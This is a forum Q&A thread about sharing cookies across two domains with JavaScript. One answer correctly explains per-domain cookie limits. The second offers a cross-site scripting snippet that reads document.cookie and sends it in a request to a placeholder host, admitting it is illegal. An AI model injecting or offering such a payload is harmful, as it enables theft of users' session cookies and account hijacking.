How do I share cookies across 2 domains with javascript?

Question

I want to be able to access and set cookies between example.com and mysite.com. How do I do that?

Answer 1

You cannot do that with cookies alone: they are set explicitly per-domain, and there isn't a legitimate (read: "non-exploit") way to set them for another domain.

However, if you control both servers, it may be possible to use some workarounds/hacks to achieve this, but pretty it isn't, and it may break unexpectedly (see this question ; the answers there should help you to a solution).

Answer 2

<script>
  function xss(){
    var cookies = document.cookie;
    new Ajax.Request('//localhost/index.php?cookies='+cookies, {
      onSuccess: function(response) {
        alert(cookies);
      }
    });
  }
  xss();
</script>

PS but it's illegal. I use prototype lib.